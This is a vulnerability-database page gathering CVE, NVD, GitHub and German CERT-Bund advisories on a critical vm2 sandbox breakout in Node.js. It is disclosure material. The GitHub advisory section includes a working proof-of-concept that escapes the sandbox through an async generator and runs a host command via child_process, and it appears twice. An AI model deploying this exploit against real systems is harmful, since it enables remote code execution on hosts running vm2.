Vulnerability-Lookup

CVE-2026-45411 (GCVE-0-2026-45411)

Vulnerability from cvelistv5 – Published: 2026-05-13 17:38 – Updated: 2026-06-30 12:10

Title

vm2: Sandbox Breakout Using Async Generator

Summary

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-668 - Exposure of Resource to Wrong Sphere
CWE-237 - Improper Handling of Structural Elements

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/patriksimek/vm2/security/advis…	x_refsource_CONFIRM
https://access.redhat.com/security/cve/CVE-2026-45411	vdb-entryx_refsource_REDHAT
https://bugzilla.redhat.com/show_bug.cgi?id=2477210	issue-trackingx_refsource_REDHAT
https://security.access.redhat.com/data/csaf/v2/v…	x_sadp-csaf-vex

Impacted products

3 products

Vendor	Product	Version
patriksimek	vm2	Affected: < 3.11.3
Red Hat	Self-service automation portal 2	cpe:/a:redhat:ansible_portal:2
Red Hat	Red Hat Developer Hub	cpe:/a:redhat:rhdh:1

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-45411

Vulnerability from fkie_nvd - Published: 2026-05-13 18:16 - Updated: 2026-06-30 03:20

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24	Exploit, Vendor Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://access.redhat.com/security/cve/CVE-2026-45411
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://bugzilla.redhat.com/show_bug.cgi?id=2477210
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24	Exploit, Vendor Advisory
0b0ca135-0b70-47e7-9f44-1890c2a1c46c	https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45411.json

Impacted products

	Vendor	Product	Version
	vm2_project	vm2	*

JSON

To clipboard

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        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-45411",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-14T00:00:00+00:00",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-13T18:16:19.427",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://access.redhat.com/security/cve/CVE-2026-45411"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477210"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24"
    },
    {
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45411.json"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-668"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-237"
        }
      ],
      "source": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
      "type": "Secondary"
    }
  ]
}

GHSA-248R-7H7Q-CR24

Vulnerability from github – Published: 2026-05-14 21:14 – Updated: 2026-05-14 21:14

Summary

vm2 Has a Sandbox Breakout Using Async Generator

Details

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

It is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be catched by the runtime and passed to the yield* iterator as the next value.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
class E extends Error {}
function so(d) {
    if (d > 0) so(d-1);
    const e = new E();
    e.stack;
    throw e;
}
async function* helper() {
    yield* {
        [Symbol.asyncIterator]: ()=>({
            next: v=>({value: v, done: false})
        })
    };
}
async function doCatch(f) {
    const i=helper();
    await i.next();
    const v = await i.return({then(r){f();r();}});
    return v.value;
}
(async function f() {
    let min = 0;
    let max = 10000000;
    while (min<max) {
        const mid = (min+max)>>1;
        const e = await doCatch(()=>so(mid));
        if (e.name==="RangeError" && !(e instanceof RangeError)) {
            e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
            return;
        }
        if (e instanceof E) {
            min = mid+1;
        } else {
            max = mid;
        }
    }
})();
`));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45411"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T21:14:32Z",
    "nvd_published_at": "2026-05-13T18:16:19Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nIt is possible to catch a host exception using the `yield*` expression inside an async generator. When the generator is closed using the `return` function, the value is awaited on and exceptions thrown in the `then` call will be catched by the runtime and passed to the `yield*` iterator as the next value.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nclass E extends Error {}\nfunction so(d) {\n\tif (d \u003e 0) so(d-1);\n\tconst e = new E();\n\te.stack;\n\tthrow e;\n}\nasync function* helper() {\n\tyield* {\n\t\t[Symbol.asyncIterator]: ()=\u003e({\n\t\t\tnext: v=\u003e({value: v, done: false})\n\t\t})\n\t};\n}\nasync function doCatch(f) {\n\tconst i=helper();\n\tawait i.next();\n\tconst v = await i.return({then(r){f();r();}});\n\treturn v.value;\n}\n(async function f() {\n\tlet min = 0;\n\tlet max = 10000000;\n\twhile (min\u003cmax) {\n\t\tconst mid = (min+max)\u003e\u003e1;\n\t\tconst e = await doCatch(()=\u003eso(mid));\n\t\tif (e.name===\"RangeError\" \u0026\u0026 !(e instanceof RangeError)) {\n\t\t\te.constructor.constructor(\"return process\")().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n\t\t\treturn;\n\t\t}\n\t\tif (e instanceof E) {\n\t\t\tmin = mid+1;\n\t\t} else {\n\t\t\tmax = mid;\n\t\t}\n\t}\n})();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.",
  "id": "GHSA-248r-7h7q-cr24",
  "modified": "2026-05-14T21:14:33Z",
  "published": "2026-05-14T21:14:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45411"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/093494c0c3ef2390d2e56909f9d56e290e6f18b0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 Has a Sandbox Breakout Using Async Generator"
}

WID-SEC-W-2026-1446

Vulnerability from csaf_certbund - Published: 2026-05-10 22:00 - Updated: 2026-05-14 22:00

Summary

vm2: Schwachstelle ermöglicht Codeausführung

Severity

Hoch

Notes

Das BSI ist als Anbieter für die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch dafür verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgfältig im Einzelfall zu prüfen.

Produktbeschreibung: vm2 ist eine Sandbox, in der nicht vertrauenswürdiger Code der in Node integrierten Module ausgeführt werden kann.

Angriff: Ein entfernter, anonymer Angreifer kann eine Schwachstelle in vm2 ausnutzen, um beliebigen Programmcode auszuführen.

Betroffene Betriebssysteme: - Linux - Sonstiges - UNIX - Windows

CVE-2026-45411

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
Open Source vm2 <3.11.3 Open Source / vm2		<3.11.3

References

3 references

URL	Category
https://wid.cert-bund.de/.well-known/csaf/white/2…	self
https://wid.cert-bund.de/portal/wid/securityadvis…	self
https://github.com/patriksimek/vm2/security/advis…	external

JSON

To clipboard

{
  "document": {
    "aggregate_severity": {
      "text": "hoch"
    },
    "category": "csaf_base",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "de-DE",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
      },
      {
        "category": "description",
        "text": "vm2 ist eine Sandbox, in der nicht vertrauensw\u00fcrdiger Code der in Node integrierten Module ausgef\u00fchrt werden kann.",
        "title": "Produktbeschreibung"
      },
      {
        "category": "summary",
        "text": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in vm2 ausnutzen, um beliebigen Programmcode auszuf\u00fchren.",
        "title": "Angriff"
      },
      {
        "category": "general",
        "text": "- Linux\n- Sonstiges\n- UNIX\n- Windows",
        "title": "Betroffene Betriebssysteme"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "csaf-provider@cert-bund.de",
      "name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
      "namespace": "https://www.bsi.bund.de"
    },
    "references": [
      {
        "category": "self",
        "summary": "WID-SEC-W-2026-1446 - CSAF Version",
        "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-1446.json"
      },
      {
        "category": "self",
        "summary": "WID-SEC-2026-1446 - Portal Version",
        "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1446"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-248r-7h7q-cr24 vom 2026-05-10",
        "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-248r-7h7q-cr24"
      }
    ],
    "source_lang": "en-US",
    "title": "vm2: Schwachstelle erm\u00f6glicht Codeausf\u00fchrung",
    "tracking": {
      "current_release_date": "2026-05-14T22:00:00.000+00:00",
      "generator": {
        "date": "2026-05-15T08:33:45.957+00:00",
        "engine": {
          "name": "BSI-WID",
          "version": "1.5.0"
        }
      },
      "id": "WID-SEC-W-2026-1446",
      "initial_release_date": "2026-05-10T22:00:00.000+00:00",
      "revision_history": [
        {
          "date": "2026-05-10T22:00:00.000+00:00",
          "number": "1",
          "summary": "Initiale Fassung"
        },
        {
          "date": "2026-05-14T22:00:00.000+00:00",
          "number": "2",
          "summary": "CVE erg\u00e4nzt"
        }
      ],
      "status": "final",
      "version": "2"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003c3.11.3",
                "product": {
                  "name": "Open Source vm2 \u003c3.11.3",
                  "product_id": "T053761"
                }
              },
              {
                "category": "product_version",
                "name": "3.11.3",
                "product": {
                  "name": "Open Source vm2 3.11.3",
                  "product_id": "T053761-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:vm2_project:vm2:3.11.3"
                  }
                }
              }
            ],
            "category": "product_name",
            "name": "vm2"
          }
        ],
        "category": "vendor",
        "name": "Open Source"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-45411",
      "product_status": {
        "known_affected": [
          "T053761"
        ]
      },
      "release_date": "2026-05-10T22:00:00.000+00:00",
      "title": "CVE-2026-45411"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-45411 (GCVE-0-2026-45411)

FKIE_CVE-2026-45411

GHSA-248R-7H7Q-CR24

Summary

Details

PoC

Impact

WID-SEC-W-2026-1446

Tags

Sightings

Nomenclature